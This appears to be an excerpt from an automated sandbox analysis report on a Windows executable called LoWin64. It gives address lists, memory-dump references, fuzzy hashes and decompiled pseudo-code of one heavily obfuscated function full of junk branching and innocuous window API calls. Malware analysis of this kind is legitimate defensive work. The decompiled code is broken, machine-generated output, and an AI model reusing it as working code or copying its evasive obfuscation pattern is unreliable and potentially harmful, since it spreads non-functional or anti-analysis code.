0x7ff6b1ca837b
0x7ff6b1ca837e
0x7ff6b1ca8381
0x7ff6b1ca838c
0x7ff6b1ca838f
0x7ff6b1ca8391
0x7ff6b1ca8393
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca83a1
0x7ff6b1ca83a4
0x7ff6b1ca83a6
0x7ff6b1ca83a8
0x7ff6b1ca83aa
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83bc
0x7ff6b1ca83bf
0x7ff6b1ca83c1
0x7ff6b1ca83c3
0x7ff6b1ca83c5
0x7ff6b1ca83c7
0x7ff6b1ca83ca
0x7ff6b1ca83cd
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83e6
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8410
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca841e
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842b
0x7ff6b1ca842e
0x7ff6b1ca8435
0x7ff6b1ca8438
0x7ff6b1ca843c
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca845b
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8466
0x7ff6b1ca8469
0x7ff6b1ca847a
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca8485
0x7ff6b1ca8488
0x7ff6b1ca848b
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849d
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84b0
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84bf
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84ca
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84dd
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84e8
0x7ff6b1ca84eb
0x7ff6b1ca84ee
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8508
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8513
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca851d
0x7ff6b1ca8520
0x7ff6b1ca8526
0x7ff6b1ca8528
0x7ff6b1ca852b
0x7ff6b1ca852d
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca853f
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8545
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8550
0x7ff6b1ca8553
0x7ff6b1ca8555
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca855f
0x7ff6b1ca8562
0x7ff6b1ca8568
0x7ff6b1ca856a
0x7ff6b1ca856f
0x7ff6b1ca8572
0x7ff6b1ca8574
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca857f
0x7ff6b1ca8585
0x7ff6b1ca8589
0x7ff6b1ca858b
0x7ff6b1ca858c
0x7ff6b1ca858d
0x7ff6b1ca858e
0x7ff6b1ca858f

Strings

7, xrefs: 00007FF6B1CA79C8

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: 9ff8c733adb1039fc3a74ffed1bd909d74d2d1126ab615828f373154d363bb58
Instruction ID: be88bc65fc1e0cb94b5a3875c7ccfbc2cdee1170f317e7e61a82e56eee82b9f7
Opcode Fuzzy Hash: 9ff8c733adb1039fc3a74ffed1bd909d74d2d1126ab615828f373154d363bb58
Instruction Fuzzy Hash: 33128D67E3CA4766F7125F2CAD4A2B922A07F2070DF780739C719E119ADF3DB5868244

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA7734 Relevance: 33.8, APIs: 18, Strings: 1, Instructions: 522
windowCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E00007FF67FF6B1CA7734(void* __eax, void* __ebx, void* __esi, void* __ebp, void* __r12, void* _a32, signed int _a144, signed long long _a152, void* _a160, void* _a168) {
				void* _t111;
				void* _t128;
				void* _t143;
				void* _t144;
				void* _t145;
				signed long long _t153;
				signed long long _t154;
				signed long long _t155;
				signed long long _t156;
				signed long long _t157;
				signed long long _t162;
				signed int _t165;
				void* _t169;

				_t143 = _t153 - 0x2b;
				if (_t143 >= 0) goto 0xb1ca77cd;
				E00007FF67FF6B1D3ACF4(_t153);
				_t154 = _t153 & _t162;
				if (_t143 >= 0) goto 0xb1ca7758;
				_t144 = _t154 - _t169;
				if (_t144 < 0) goto 0xb1ca77cd;
				E00007FF67FF6B1D3ACF4(_t154);
				_t155 = _t154 & _t162;
				if (_t144 >= 0) goto 0xb1ca776e;
				_t145 = _t155 - 0x2b;
				goto 0xb1ca77c7;
				E00007FF67FF6B1D3ACF4(_t155);
				_t156 = _t155 & _t162;
				if (_t145 >= 0) goto 0xb1ca778b;
				E00007FF67FF6B1D3ACF4(_t156);
				_t157 = _t156 & _t162;
				if (_t145 >= 0) goto 0xb1ca779d;
				 *0xb1decf60 = _t165;
				_t111 = E00007FF67FF6B1D3ACF4(_t157);
				if (_t157 - 0x36 >= 0) goto 0xb1ca77be;
				 *0xb1decf60 = _t165;
				asm("adc al, 0x0");
				if (0x25 - 0x28 < 0) goto 0xb1ca77d2;
				asm("str word [ecx+0x14576f1d]");
				 *((intOrPtr*)(_t165 + 3)) =  *((intOrPtr*)(_t165 + 3)) + (_t111 - r13d | r14d) + r13d + r13d;
				IsIconic(??);
				GetCurrentProcessId();
				GetDesktopWindow();
				GetParent(??);
				E00007FF67FF6B1D3ACF4(0x25);
				if (0x25 - 0x59 >= 0) goto 0xb1ca7869;
				E00007FF67FF6B1D3ACF4(0x25);
				if (0x25 - 0x59 >= 0) goto 0xb1ca7843;
				if (0x25 == 6) goto 0xb1ca7869;
				_t128 = E00007FF67FF6B1D3ACF4(0x108010100000025);
				if (0x25 - 6 >= 0) goto 0xb1ca785a;
				 *0xb1decf60 = 0;
				 *0x8000007f =  *0x8000007f + spl;
				return (_t128 - r13d | r14d) + r13d;
				if (__eflags >= 0) goto 0xb1ca7880;
				__eax = __eax - r13d;
				__eax = __eax + r13d;
				r14d = 0x4f;
				goto 0xb1ca78e0;
				__eflags = 0x50 - 0x52;
				if (0x50 - 0x52 >= 0) goto 0xb1ca78e5;
				__rbx = 0x3d;
				asm("fidiv word [ebx+0x29]");
				__eax = GetCurrentProcessId();
				__ebx = __ebx + r13d;
				 *0xb1decf60 = 0x3d;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca78bd;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = 0x25 - 9;
				if (0x25 != 9) goto 0xb1ca7894;
				__edi = __edi + r13d;
				 *0xb1decf60 = __rdi;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca78e0;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0xd;
				if (0x25 - 0xd < 0) goto 0xb1ca7888;
				__rdx = 0xb1ca8590;
				 *0xb1decf68 = __r12;
				__rcx = 0x2;
				 *0x3B4114EB00000060 =  *((intOrPtr*)(0x3b4114eb00000060)) + dil;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				r12d = 0x8000007f;
				goto 0xb1ca7922;
				__eflags = 0x3d - 0x26;
				if (0x3d - 0x26 >= 0) goto 0xb1ca7935;
				__ebx = __ebx + r13d;
				 *0xb1decf60 = 0x3d;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__eax = __eax & r12d;
				if (__eflags >= 0) goto 0xb1ca7930;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0x65;
				if (0x25 == 0x65) goto 0xb1ca790f;
				__rbx = 0x3f;
				 *0x93A63E800000025 =  *((intOrPtr*)(0x93a63e800000025)) + __al;
				asm("les edi, [ebp+0x9]");
				if (0x25 - 0x65 >= 0) goto 0xb1ca794d;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = __eax;
				__rdi = 0x3;
				if (__eax >= 0) goto 0xb1ca7978;
				__ebx = __ebx + r13d;
				 *0xb1decf60 = 0x3f;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__eax = __eax & r12d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7974;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0x3;
				if (0x25 != 0x3) goto 0xb1ca7954;
				__rbx = 0x52;
				 *0xDE3B20EAFFFFFF83 =  *((intOrPtr*)(0xde3b20eaffffff83)) + dil;
				__eax = __eax & r12d;
				if (0x25 - 0x3 >= 0) goto 0xb1ca7994;
				__eax = __eax - r13d;
				__rax = __rax | 0x00000003;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0x44;
				r15d = r15d & 0xffffff00 | 0x00000025 == 0x00000044;
				 *0xb1decf60 = 0x2;
				 *0xb1decf60 = 0x52;
				__ebx = __ebx + r13d;
				__eflags = 0x52 - 0x5b;
				if (0x52 - 0x5b < 0) goto 0xb1ca797d;
				__rbx = 0x2d;
				 *((intOrPtr*)(0x93a63e800000025)) =  *((intOrPtr*)(0x93a63e800000025)) + __al;
				asm("les edi, [ebp+0x8]");
				if (0x52 - 0x5b >= 0) goto 0xb1ca79c8;
				__eax = __eax - r13d;
				__rax = __rax | 0x00000003;
				__eax = __eax + r13d;
				r12d = 0x37;
				goto 0xb1ca79f2;
				__eflags = __ebx - r12d;
				if (__ebx - r12d >= 0) goto 0xb1ca79f7;
				__ebx = __ebx + r13d;
				 *0xb1decf60 = 0x2d;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				__eflags = 0x25;
				if (0x25 >= 0) goto 0xb1ca79f2;
				__eax = __eax - r13d;
				__rax = __rax | 0x00000003;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0x1d;
				if (0x25 == 0x1d) goto 0xb1ca79d0;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				 *0xb1decf60 = r13d;
				__ebx = r13d;
				r13d = 0x4b;
				__rsi = __rsi + 0x2d;
				__eflags = __esi - r13d;
				if (__esi - r13d < 0) goto 0xb1ca7a0c;
				 *0xb1decf60 = __rsi;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rsi = 0x8000007f;
				_push(0x8000007f);
				if (__eflags >= 0) goto 0xb1ca7a46;
				 *0xb1decf60 = __rbp;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7a41;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x76;
				if (0x25 - 0x76 >= 0) goto 0xb1ca7a25;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rbp = 0x2d;
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7a57;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x23;
				if (0x25 - 0x23 < 0) goto 0xb1ca7a7c;
				__rbx = 0x1a;
				__rsp = 0x2d;
				_pop(__rbp);
				asm("str word [ecx+0x1454f11d]");
				 *0x1a =  *0x1a + __al;
				 *0xb1decf60 = 0x2d;
				__eax = AnyPopup();
				__rcx = 0;
				__eax = IsZoomed(??);
				__rcx = 0;
				__eax = GetModuleHandleW(??);
				__rcx = 0;
				__eax = IsZoomed(??);
				__rcx = 0;
				 *0xb1decf60 = 0x24;
				__eax = GetModuleHandleW(??);
				__rbx = 0x20;
				asm("cmpsd");
				_push(0x2d);
				asm("adc al, 0x0");
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7ac8;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x33;
				if (0x25 - 0x33 > 0) goto 0xb1ca7ad2;
				__eflags = 0x20 - 0x26;
				if (0x20 - 0x26 < 0) goto 0xb1ca7ab1;
				__rbx = 0xc;
				 *0xc =  *0xc + spl;
				asm("invalid");
				asm("push es");
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x69;
				if (0x25 - 0x69 >= 0) goto 0xb1ca7b2b;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7afa;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x44;
				if (0x25 == 0x44) goto 0xb1ca7b1f;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7b0e;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__ecx = r15d;
				__eflags = __rax - 0x44;
				__ecx = r15d & 0xffffff00 | __rax != 0x00000044;
				 *0xb1decf60 = 0;
				goto 0xb1ca7b25;
				 *0xb1decf60 = 0x2d;
				 *0xb1decf60 = 0x2d;
				__rbx = 0x126552d000000039;
				 *0xb1decf60 = 0xc;
				__eflags = 0xc - 0x11;
				if (0xc - 0x11 < 0) goto 0xb1ca7ad7;
				 *0xb1decf60 = 0x48;
				__rax = 0x14;
				asm("adc al, 0x0");
				__rax = 0x5d463f7100000041;
				__eflags = 0x14 - 0x1d;
				if (0x14 - 0x1d < 0) goto 0xb1ca7b47;
				AnyPopup() = E00007FF67FF6B1D3ACF4(0x5d463f7100000041);
				__rax = 0x5d02126100000041;
				if (__eflags >= 0) goto 0xb1ca7b69;
				0x53ced87900000014 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				asm("movsd xmm0, [0x116b57]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("comisd xmm0, xmm1");
				if (__eflags < 0) goto 0xb1ca7bb3;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7b8e;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x3b;
				if (0x14 - 0x3b > 0) goto 0xb1ca7bb3;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7ba2;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__ecx = r15d;
				__eflags = 0x14 - 0x3b;
				__ecx = r15d & 0xffffff00 | 0x00000014 - 0x0000003b <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca7bcc;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7bc2;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14;
				if (0x14 > 0) goto 0xb1ca7bcc;
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1DA4020();
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7be1;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				asm("movsd xmm6, [0x116f17]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (__eflags <= 0) goto 0xb1ca7d0d;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c0a;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x20;
				if (0x14 - 0x20 > 0) goto 0xb1ca7cc2;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c22;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x29;
				if (0x14 - 0x29 >= 0) goto 0xb1ca7c55;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c36;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x1c;
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c55;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c4a;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x1c;
				r15d = r15d & 0xffffff00 | 0x00000014 - 0x0000001c < 0x00000000;
				goto 0xb1ca7ca8;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c64;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x7b;
				if (0x14 - 0x7b > 0) goto 0xb1ca7c8a;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				__eflags = 0x14;
				if (0x14 >= 0) goto 0xb1ca7c78;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x116b88]");
				if (0x14 <= 0) goto 0xb1ca7cae;
				GetDoubleClickTime() = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c9f;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x7b;
				r15d = r15d & 0xffffff00 | 0x00000014 - 0x0000007b > 0x00000000;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebp;
				__eflags = r14d - 0x5c;
				if (r14d - 0x5c < 0) goto 0xb1ca7c13;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				r14d = __esi;
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7cd4;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__ecx = r15d;
				__eflags = 0x14 - 0x20;
				__ecx = r15d & 0xffffff00 | 0x00000014 - 0x00000020 > 0x00000000;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7cf3;
				__rax = 0xe93332e300000044;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				__eax = r15d & 0xffffff00 | __eflags > 0x00000000;
				 *0xb1decf60 = 0x14;
				goto 0xb1ca7d58;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				r14d = __esi;
				__rax = 0xe90312e300000044;
				__eflags = 0x14;
				if (0x14 >= 0) goto 0xb1ca7d1f;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x1d;
				if (0x14 - 0x1d <= 0) goto 0xb1ca7d58;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7d34;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x67;
				if (0x14 != 0x67) goto 0xb1ca7d58;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7d49;
				__rax = 0xe93332e300000044;
				__ecx = r15d;
				__eflags = 0xe93332e300000044 - 0x67;
				__ecx = r15d & 0xffffff00 | 0xe93332e300000044 == 0x00000067;
				 *0xb1decf60 = 0;
				__rax = 0x4d;
				if (0xe93332e300000044 - 0x67 < 0) goto 0xb1ca7d5d;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x4d) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7d7a;
				0xef508b1b00000020 = 0xff7babfb00000023;
				__rax = 0x8aee5e300000050;
				asm("movsd xmm6, [0x1169ae]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (__eflags > 0) goto 0xb1ca7dda;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7da0;
				__rax = 0x8aee5e300000050;
				__eflags = 0x4d - 0xb;
				if (0x4d - 0xb <= 0) goto 0xb1ca7dda;
				__rcx = 0;
				__eax = IsIconic(0xb1ca8590);
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7dbd;
				__rax = 0x8aee5e300000050;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				__eax = r15d & 0xffffff00 | __eflags > 0x00000000;
				 *0xb1decf60 = 0x4d;
				goto 0xb1ca7ea9;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7dea;
				__rax = 0x8aee5e300000050;
				asm("movsd xmm6, [0x116af6]");
				__eflags = 0x4d - 0x76;
				if (0x4d != 0x76) goto 0xb1ca7e39;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				__eflags = __eax;
				if (__eflags >= 0) goto 0xb1ca7e07;
				__rax = 0x8aee5e300000050;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (__eflags >= 0) goto 0xb1ca7e39;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7e25;
				__rax = 0x8aee5e300000050;
				__eflags = 0x4d - 0x30;
				if (0x4d != 0x30) goto 0xb1ca7e30;
				__eax = GetTickCount();
				 *0xb1decf60 = r15d;
				goto 0xb1ca7e8a;
				 *0xb1decf60 = 0x53;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7e53;
				__rax = 0x8aee5e300000050;
				__ecx = r15d;
				__eflags = 0x4d - 0x79;
				__ecx = r15d & 0xffffff00 | 0x0000004d != 0x00000079;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7e72;
				__rax = 0x8aee5e300000050;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				__eax = r15d & 0xffffff00 | __eflags >= 0x00000000;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7e9a;
				__rax = 0x8aee5e300000050;
				__ecx = r15d;
				__eflags = 0x8aee5e300000050 - 0xb;
				__ecx = r15d & 0xffffff00 | 0x8aee5e300000050 - 0x0000000b <= 0x00000000;
				 *0xb1decf60 = 0;
				__rax = 0x15;
				asm("adc al, 0x0");
				__rax = 0x59df3f7100000042;
				__eflags = 0x15 - 0x18;
				if (0x15 - 0x18 < 0) goto 0xb1ca7eae;
				E00007FF67FF6B1D3ACF4(0x59df3f7100000042) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7ecb;
				0x50ac058900000015 = 0xdebf25eb00000017;
				__rax = 0xe7f25fd300000044;
				__eflags = 0x15 - 0x4e;
				if (0x15 - 0x4e < 0) goto 0xb1ca7f1b;
				E00007FF67FF6B1D3ACF4(0xe7f25fd300000044) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7ee0;
				__rax = 0xe7f25fd300000044;
				__eflags = 0xe7f25fd300000044 - 0x65;
				if (0xe7f25fd300000044 - 0x65 > 0) goto 0xb1ca7f1b;
				__rax = 0x68;
				if (0xe7f25fd300000044 == 0x65) goto 0xb1ca7f62;
				asm("stc");
				 *0xb1decf60 = 0x68;
				E00007FF67FF6B1D3ACF4(0x68) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7f07;
				0xef508b1b0000003b = 0xff7babfb0000003b;
				__rax = 0x8aee5e300000068;
				__ecx = r15d;
				__eflags = 0x68 - 0x65;
				__ecx = r15d & 0xffffff00 | 0x00000068 - 0x00000065 <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca80e7;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7f2b;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x24;
				if (0x68 - 0x24 < 0) goto 0xb1ca80e7;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7f44;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x15;
				if (0x68 - 0x15 < 0) goto 0xb1ca7f84;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7f59;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x5e;
				if (0x68 == 0x5e) goto 0xb1ca7f84;
				__rcx = 0;
				__eax = GetWindowTextLengthW(??);
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7f76;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x15;
				r15d = r15d & 0xffffff00 | 0x00000068 - 0x00000015 >= 0x00000000;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7f94;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x63;
				if (0x68 - 0x63 < 0) goto 0xb1ca7fb2;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7fa9;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x13;
				if (0x68 - 0x13 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7fc2;
				__rax = 0x8aee5e300000068;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (__eflags < 0) goto 0xb1ca80ba;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7fec;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x1e;
